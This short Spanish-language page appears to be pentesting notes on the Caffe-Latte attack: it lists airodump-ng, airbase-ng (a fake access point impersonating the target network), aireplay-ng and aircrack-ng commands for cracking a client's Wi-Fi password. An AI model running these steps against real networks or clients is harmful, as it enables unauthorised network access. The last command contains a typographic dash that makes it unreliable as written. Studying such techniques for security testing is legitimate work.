---
description: >-
  Ataque usado para la obtención de contraseña. Se engaña un cliente conectado a
  un AP para que se conecte a uno falso, forzándolo a enviar suficiente tráfico
  con IVs como para descifrar la contraseña.
---

# Caffe-Latte Attack

***

* Capturar tráfico con Airodump-ng

<pre class="language-bash"><code class="lang-bash"><strong>sudo airodump-ng --write traffic_file --bssid &#x3C;MAC_AP> --channel &#x3C;channel_AP> &#x3C;wifi_interface>
</strong></code></pre>

* Crear AP falso con Airbase-ng, reemplazando el nombre del AP falso por el del AP objetivo

<pre class="language-bash"><code class="lang-bash"><strong>sudo airbase-ng --essid "nombre_AP_objetivo" -c &#x3C;channel_AP> &#x3C;wifi_interface>
</strong></code></pre>

* Ejecutar ataque caffe-latte con Aireplay-ng

```bash
sudo aireplay-ng --caffe-latte -h <MAC_cliente_objetivo> <wifi_interface>
```

* Crackear contraseña con Aircrack-ng desde fichero con tráfico capturado en Airodump-ng

```bash
sudo aircrack-ng –b <MAC_AP> traffic_file.cap
```

***
